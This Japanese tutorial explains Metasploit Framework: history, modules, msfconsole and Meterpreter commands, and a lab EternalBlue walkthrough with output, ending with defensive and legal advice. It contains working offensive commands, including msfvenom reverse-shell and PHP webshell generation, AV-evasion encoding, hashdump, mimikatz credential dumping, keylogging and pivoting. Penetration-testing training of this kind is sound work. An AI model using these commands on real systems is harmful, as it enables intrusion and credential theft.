Metasploit Framework #
Metasploit Framework は、ペネトレーションテスト・脆弱性検証のために作られた オープンソースの攻撃フレームワークである。攻撃者の視点でシステムの脆弱性を発見・実証し、防御側がリスクを定量化・対策できるようにすることを目的としている。世界中のセキュリティ研究者・レッドチーム・教育機関で標準的に使われており、Kali Linux に標準搭載されている。
1. Metasploit の歴史 #
1.1 HD Moore による誕生 (2003) #
2003 年、HD Moore が個人プロジェクトとして開発を開始。当初は Perl で書かれた小さなツールキットで、既知の脆弱性を素早く検証するための「攻撃コードのライブラリ」として設計された。
当時は脆弱性 PoC が散在しており、それぞれが独自の起動方法・引数・出力を持っていたため、研究者は同じ作業を繰り返していた。Metasploit は「統一されたインターフェースから扱う」という発想でこの問題を解決した。
1.2 Ruby への書き直し (2007) #
バージョン 3.0 で Ruby に全面リライト。Perl 版より拡張しやすく、モジュール体系・データベース統合・Meterpreter (後述) の基盤がここで整備された。OSS コミュニティの貢献が増加し、独立したエコシステムが育った。
1.3 Rapid7 による買収 (2009) #
2009 年、米国の脆弱性管理ベンダー Rapid7 が Metasploit Project を買収。Framework (OSS 版) は BSD ライセンス相当でオープン継続、商用版 Metasploit Pro / Express はエンタープライズ向け機能 (GUI、自動化、レポート、フィッシング等) を加えて販売される構造に。
1.4 現在 #
OSS 版 (Framework) は GitHub 上で活発に開発が続いており、新しい CVE が公開されるたびに対応モジュールが追加される。Kali Linux に標準搭載されており、SANS や OSCP などの主要資格試験でも実技対象となっている。
2. Metasploit のアーキテクチャ #
Metasploit は単一のバイナリではなく、複数のコンポーネントが連携するフレームワーク。
2.1 主要コンポーネント #
| コンポーネント | 役割 |
|---|---|
| msfconsole | 対話的シェル。最もよく使われる UI。 |
| msfvenom | ペイロード生成専用ツール (旧 msfpayload + msfencode を統合)。 |
| msfdb | PostgreSQL を起動し、ホスト・サービス・脆弱性情報を Metasploit に統合する DB 管理スクリプト。 |
| msfrpcd | RPC デーモン。プログラマブルに Metasploit を呼び出すための API。Cobalt Strike 等が利用。 |
| msfupdate | モジュール定義の更新 (近年の Kali では apt update で代替)。 |
2.2 モジュール体系 #
すべての機能は モジュール として実装され、/usr/share/metasploit-framework/modules/ 配下に配置される。
| 種別 | 役割 | 例 |
|---|---|---|
| exploit | 脆弱性を悪用してリモートでコード実行する | exploit/windows/smb/ms17_010_eternalblue |
| auxiliary | スキャナー・ファザー・リスナー等、コード実行を伴わない補助機能 | auxiliary/scanner/portscan/tcp |
| payload | 攻撃成功後にターゲットで動作するコード | windows/x64/meterpreter/reverse_tcp |
| post | 侵入後の後処理 (情報収集・横展開・永続化) | post/windows/gather/credentials/credential_collector |
| encoder | ペイロードを変換し、AV のシグネチャ検出を回避 | x86/shikata_ga_nai |
| nop | NOP スレッド生成 | x86/single_byte |
| evasion | アンチ AV 機能を組み込んだペイロード生成 | windows/windows_defender_exe |
3. 基本ワークフロー #
Metasploit を使ったペネトレーションテストの典型的な流れ。
1. 偵察 (Reconnaissance)
├── nmap などで開放ポートを把握
└── サービスバージョンを特定 (Apache 2.4.49 など)
2. 脆弱性検索 (Vulnerability Identification)
└── search apache 2.4.49
3. モジュール選択
└── use exploit/multi/http/apache_normalize_path_rce
4. パラメータ設定
├── set RHOSTS 192.168.56.50
├── set LHOST 192.168.56.106
└── set PAYLOAD linux/x64/meterpreter/reverse_tcp
5. 実行
└── exploit (または run)
6. 後処理 (Post-exploitation)
├── sysinfo / getuid / hashdump
├── 別ホストへの横展開 (autoroute, pivoting)
└── 永続化 (persistence)
7. 撤収・痕跡消去
└── 演習環境では cleanup を忘れずに
4. 主要モジュールタイプ詳細 #
4.1 exploit #
脆弱性そのものを悪用するコア。use で選択し、必要なオプション (RHOSTS, ターゲット OS など) を set してから exploit で実行する。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.50
msf6 exploit(ms17_010_eternalblue) > exploit
4.2 auxiliary #
コード実行を伴わない補助機能。スキャナー (port scan, version detection)、ブルートフォース、認証チェック、リスナー (Phishing 用 HTTP/SMB サーバー等) を含む。
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.56.0/24
msf6 auxiliary(smb_version) > run
4.3 payload #
侵入後にターゲット上で動作するコード。3 つの構造を取る。
- single (inline): ペイロードがそのまま動作する単一バイナリ。サイズが大きいが安定。
- stager: 小さな初期コード。ネットワーク越しに本体 (stage) をダウンロードしてから実行する。バッファサイズに制約のある exploit で使う。
- stage: stager がロードする本体。Meterpreter など複雑な機能を持つ。
種類:
windows/shell/reverse_tcp— 古典的なリバースシェルwindows/x64/meterpreter/reverse_tcp— フル機能の Meterpretercmd/unix/reverse_python— Python ワンライナーのリバースシェルlinux/x64/meterpreter/reverse_https— HTTPS で偽装した Meterpreter (FW 通過しやすい)
4.4 post #
侵入後の作業を自動化するモジュール群。
post/windows/gather/credentials/credential_collector— 各種クレデンシャル収集post/multi/recon/local_exploit_suggester— ローカル特権昇格の候補を列挙post/windows/manage/migrate— 親プロセスを変えて検出回避
4.5 encoder #
ペイロードのバイト列を変換して AV シグネチャを回避する。x86/shikata_ga_nai (シカタガナイ) は最も有名。ただし現代の AV は静的シグネチャだけでなくサンドボックス・ヒューリスティックで検出するため、エンコーダーだけで回避するのは困難。
4.6 evasion #
近年追加された、AV 回避を最初から組み込んだ exe 生成系のモジュール (windows/windows_defender_exe 等)。
5. msfconsole の主要コマンド #
# 検索
search ms17_010
search type:exploit platform:windows author:zerosum0x0
# モジュール選択と離脱
use exploit/windows/smb/ms17_010_eternalblue
back # ひとつ戻る
use 0 # search 結果のインデックス指定
# モジュール情報
info
show options
show targets
show payloads
# パラメータ
set RHOSTS 192.168.56.50
set LHOST eth0 # インターフェース名でも OK
setg LHOST 10.0.2.4 # 永続的にすべてのモジュールへ
# 実行
exploit # フォアグラウンド実行
exploit -j -z # バックグラウンド (-j: job 化、-z: セッション直後に開かない)
run # exploit と同義 (auxiliary でよく使う)
# セッション管理
sessions -l # 一覧
sessions -i 1 # ID=1 にアタッチ
background (or Ctrl+Z) # 現在のセッションを保留してコンソールに戻る
sessions -K # すべてのセッションを切断
# job 管理
jobs -l
jobs -K # 全 job kill
# データベース連携 (msfdb init を事前に)
workspace -a redteam # ワークスペース作成
db_nmap -sS 192.168.56.0/24
hosts # 発見したホスト一覧
services # サービス一覧
vulns # 脆弱性候補
loot # 取得したファイル
# その他
help [command]
banner # バナー再表示
exit / quit
6. Meterpreter #
Meterpreter は Metasploit の独自ペイロードで、Disk 上にファイルを残さずメモリ上で動作する ステルス性の高いシェル代替。Windows / Linux / macOS / Android で動作する。
6.1 特徴 #
- メモリ常駐: 実行ファイルをディスクに書き込まず、reflective DLL injection 等で動作するため AV による検出が難しい
- 暗号化通信: stager の後、本体は AES で暗号化された通信を行う
- モジュラ拡張: 動作中に追加機能 (
stdapi,priv,kiwi) をロードできる - クロスプラットフォーム: 同じコマンドセットが OS 横断で使える
6.2 主要コマンド #
# システム情報
sysinfo # OS、アーキテクチャ等
getuid # 現在のユーザー
getpid # PID
ps # プロセス一覧
# 特権昇格 (Windows)
getsystem # SYSTEM への昇格を試行
hashdump # SAM のハッシュ取得 (要 SYSTEM)
load kiwi # mimikatz を Meterpreter 内で利用可能に
kiwi_cmd "sekurlsa::logonpasswords"
# ファイル操作
ls / pwd / cd
download remote.txt
upload local.exe C:\\Windows\\Temp\\
# プロセス操作
migrate <PID> # 別プロセスに自身を移植 (検知回避・特権変更)
execute -f cmd.exe -i # コマンド実行 (-i で対話)
# キャプチャ
screenshot # スクリーンショット
keyscan_start # キーロガー開始
keyscan_dump # キャプチャしたキー入力を表示
keyscan_stop
# ネットワーク
ipconfig
netstat
portfwd add -l 3389 -p 3389 -r 10.0.0.5 # ローカルポート転送
run autoroute -s 10.0.0.0/24 # 内部ネットワークへの経路追加 (ピボット)
# シェル
shell # ネイティブシェル (cmd/sh) を起動
exit # 戻る (シェル) / 切断 (Meterpreter)
6.3 Pivoting (横展開) #
侵入したホストを踏み台にして内部ネットワークへ攻撃を広げる手法。Meterpreter の autoroute を使えば、その後のスキャンや exploit が侵入済みホスト経由で自動的にルーティングされる。
meterpreter > run autoroute -s 10.0.0.0/24
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.0.0.5
msf6 auxiliary(tcp) > run # ← 侵入済みホスト経由で 10.0.0.5 をスキャン
7. msfvenom — ペイロード生成 #
スタンドアロンのペイロード生成ツール。Metasploit Framework に付属する。
7.1 基本構文 #
msfvenom -p <payload> [options] -f <format> [-o output_file]
主要オプション:
-p <payload>: ペイロード名 (例windows/x64/meterpreter/reverse_tcp)-l <type>: 利用可能なペイロード/エンコーダー/フォーマットを列挙LHOST=,LPORT=: リバース接続先 (オプションは=で渡す、setではなく)-f <format>: 出力フォーマット (exe,elf,raw,asp,php,pythonなど)-e <encoder>: エンコーダー (例x86/shikata_ga_nai)-i <count>: エンコード反復回数-b <bad chars>: 除外バイト (例\x00\x0a\x0d)-o <file>: 出力先
7.2 実例 #
# Windows 用 reverse TCP exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-f exe -o shell.exe
# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-f elf -o shell.elf
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-f raw -o shell.php
# シェルコード (バッファオーバーフロー実験用)
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.56.106 LPORT=4444 \
-b '\x00\x0a\x0d' \
-f c
# AV 回避を試みる (5 回エンコード)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.56.106 LPORT=443 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o shell.exe
7.3 ペイロードを受け取る (handler) #
生成したペイロードがリバース接続してくるのを待つには multi/handler を起動。
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.56.106
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j # バックグラウンドで listen
8. 実例: EternalBlue (MS17-010) #
2017 年に WannaCry ランサムウェアで使われた SMB v1 の脆弱性。Windows 7 / Server 2008 R2 など未パッチ機への定番演習。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.50
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.106
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > check # 脆弱性の事前検証
[+] 192.168.56.50:445 - Host is likely VULNERABLE to MS17-010!
msf6 exploit(ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.56.106:4444
[*] 192.168.56.50:445 - ...exploitation successful...
[*] Sending stage (200774 bytes) to 192.168.56.50
[*] Meterpreter session 1 opened (192.168.56.106:4444 -> 192.168.56.50:49158)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM ← 一発で SYSTEM が取れる
meterpreter > sysinfo
Computer : DC01
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : ja_JP
Domain : LAB
Logged On Users : 2
Meterpreter : x64/windows
実際の演習環境 (例: HackTheBox の Blue、OSCP のラボマシン) で頻繁に登場する。
9. 防御側から見た Metasploit #
Metasploit は攻撃ツールである一方、防御側にとっては最高の検証ツールでもある。
9.1 シグネチャ検出 #
Metasploit が生成するペイロードは AV ベンダに広く解析されており、エンコーダーをかけても 大半のエンドポイント保護製品は静的検出 + 動作解析で阻止する。実環境では msfvenom 直生成のバイナリは「すぐに検知される」ものとして扱う必要がある。
回避には以下のような技術が使われるが、いずれも完全な保証はない:
- カスタムローダー: パッカーやシェルコード loader を自作
- C2 framework: Cobalt Strike, Sliver, Mythic 等の商用・OSS フレームワークが Metasploit より洗練された回避を行う
- LotL (Living off the Land): 既存の正規バイナリ (PowerShell, mshta.exe 等) を悪用
9.2 ネットワーク検出 #
Meterpreter のリバース接続は IDS/IPS シグネチャで検出される (Suricata の Emerging Threats ルールセット等)。HTTPS Meterpreter や DNS exfiltration で検出回避が試みられるが、TLS-MITM 環境や DNS ログ集約があれば暴かれる。
9.3 防御の指針 #
- 既知 CVE を放置しない (Metasploit の exploit モジュールは既知 CVE 対象が大半)
- エンドポイント保護 (EDR) を最新に保つ
- SMBv1 / LLMNR / NetBIOS 等の古い機能を無効化
- Privilege Access Management (LAPS、JIT 管理者) で横展開を阻止
- ログ集約 (SIEM) で異常な PowerShell 実行・新規プロセスを検知
10. 倫理と法的留意事項 #
Metasploit は強力なツールであり、他者のシステムに対して許可なく実行することは犯罪行為である。日本では不正アクセス禁止法、刑法 (電子計算機損壊等業務妨害罪) に抵触する可能性がある。
利用は次の範囲に限定すること:
- 自分が管理する環境 (自宅 LAN、自作 VM、HackTheBox や VulnHub などの演習環境)
- 書面で事前許可を得たペネトレーションテスト (依頼主と契約書を交わす)
- CTF: 主催者が明示的に攻撃を許可している場面のみ
「PoC を試したいから」「友達のサーバーで試した」「会社の同僚の PC を権限昇格してみた」などはすべてアウト。倫理的にも法的にもクリーンな環境で運用することが、長くこの分野で活動する前提となる。
11. まとめ #
- Metasploit Framework は オープンソースのペネトレーションテストフレームワーク。HD Moore 発、Rapid7 が引き継いで現在も活発に開発されている
- 機能は モジュール (exploit / auxiliary / payload / post / encoder / nop / evasion) として体系化
- msfconsole が中心 UI、msfvenom が独立ペイロード生成、msfdb が DB 統合
- Meterpreter はメモリ常駐のステルスシェルで、
migratehashdumpautoroute等の強力な後処理コマンドを提供 - 防御側にとっては「自社環境で同じツールを動かして検知できるか」を確認する 最高の検証ツールでもある
- 倫理と法律: 許可された環境でのみ使うこと